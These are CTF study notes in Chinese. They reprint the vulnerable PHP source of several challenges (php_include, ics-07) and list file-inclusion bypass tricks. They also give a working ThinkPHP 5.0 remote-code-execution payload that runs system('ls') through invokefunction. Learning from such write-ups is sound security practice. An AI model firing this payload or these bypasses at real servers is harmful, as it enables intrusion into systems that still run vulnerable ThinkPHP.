白天看完了《xss跨站脚本攻击剖析与防御》又刷了遍xss-lab见了一些之前没见过的技巧，晚上又刷了点水题找找自信。
php_include
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
- phpmyadmin提权
https://www.freebuf.com/column/173672.html
- php:// +命令发包
- Data协议绕过
- Php双写大小写绕过
baby_web
php_rce
Thinkphp 5.0 rce漏洞
https://blog.csdn.net/weixin_40709439/article/details/86564457
s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
ics-07
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>cetc7</title> </head> <body> <?php session_start(); if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); } ?> <form action="#" method="get"> page : <input type="text" name="page" value=""> id : <input type="text" name="id" value=""> <input type="submit" name="submit" value="submit"> </form> <br /> <a href="index.phps">view-source</a> <?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?> </body> </html>
过滤最后一个.后的内容
